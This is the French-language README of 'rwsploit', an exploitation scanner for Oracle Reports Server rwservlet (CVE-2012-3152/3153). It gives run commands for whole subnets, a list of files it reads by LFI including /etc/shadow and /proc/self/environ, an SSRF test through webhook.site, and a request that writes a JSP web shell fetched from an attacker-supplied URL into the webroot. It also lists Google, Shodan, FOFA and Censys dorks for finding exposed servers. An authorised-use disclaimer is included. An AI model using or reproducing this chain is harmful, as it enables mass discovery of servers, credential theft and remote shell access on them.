
Scanner d'exploitation automatisé pour Oracle Reports Server (rwservlet) — CVE-2012-3152 / CVE-2012-3153. Détecte, effectue le fingerprinting, lit des fichiers via LFI, teste la SSRF via webhook et téléverse des shells JSP. Cible Oracle Reports < 11g. Usage autorisé uniquement.
⚠️ Réservé à un usage autorisé. N'exécutez cet outil que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite. Toute utilisation non autorisée est illégale.
Un scanner d'exploitation ciblé pour Oracle Reports Server (rwservlet) ciblant CVE-2012-3152 et CVE-2012-3153 — affectant les versions antérieures à 11g. Automatise la détection, la lecture de fichiers LFI, les tests SSRF et le téléversement de shell JSP sur des IP uniques, des plages CIDR ou des listes de cibles. Un pré-filtrage TCP/HTTP intelligent ignore instantanément les hôtes morts afin de ne pas perdre de temps.
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
Python 3.8+ requis. Aucune autre dépendance.
python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file> [options]
Exécutez sans arguments pour voir le menu d'aide complet et les dorks de reconnaissance.
# Detect only
python3 rwsploit.py -t 10.10.10.55 -p 7777
# Detect + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# Full chain — LFI + SSRF + shell
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# Subnet scan, save dumps
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# From file, no SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
Format de targets.txt
# comment — skipped
10.10.10.55
10.10.11.0/24
Lit les fichiers lisibles par tous (world-readable) en détectant d'abord l'OS via showenv, puis en exécutant uniquement l'ensemble de payloads correspondant.
Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ
Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT
🚨 L'absence de résultat LFI ne signifie pas que la cible est sûre — la configuration et les permissions de fichiers d'Oracle varient. Testez toujours le SSRF et le téléversement de shell indépendamment.
Déclenche rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> et interroge l'API de webhook.site en attendant un rappel. Affiche l'IP source, la méthode et le User-Agent en cas de hit. Un nouveau jeton webhook est créé automatiquement au démarrage.
--shell)PATH_TRANSLATED depuis showenv pour obtenir le chemin réel du webrootkxqbrmfa.jsp)rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL>inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | Description |
|---|---|
| CVE-2012-3152 | Lecture de fichiers non authentifiée via le paramètre report de rwservlet |
| CVE-2012-3153 | SSRF et écriture de fichiers via JOBTYPE=rwurl + URLPARAMETER |
Concerne Oracle Reports Server 6i, 9i, 10g — corrigé en 11g.
Réservé aux tests d'intrusion autorisés, aux challenges CTF et à la recherche en sécurité uniquement. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
| Option | Description | Défaut |
|---|
-t | IP, nom d'hôte ou CIDR cible. Plusieurs valeurs acceptées. | — |
-f | Fichier avec une IP ou un CIDR par ligne. # = commentaire. | — |
-p | Port personnalisé unique — remplace la liste de ports par défaut. | 80 443 8080 7777 7778 7779 8443 9090 |
-T | Threads concurrents. | 15 |
-o | Enregistre les dumps LFI sur le disque avec ce préfixe. ex. -o loot → loot_<ip>_<port>_<file>.txt | stdout uniquement |
--timeout | Délai d'expiration des requêtes en secondes. | 10 |
--lfi | Exécute les payloads de lecture de fichiers LFI. L'OS est détecté d'abord afin que seuls les payloads pertinents soient exécutés. | désactivé |
--no-ssrf | Ignore le test webhook SSRF. | désactivé |
--shell | Téléverse un shell JSP. Demande l'URL qui sert votre contenu de shell. | désactivé |
-h | Affiche l'aide et les dorks de reconnaissance. | — |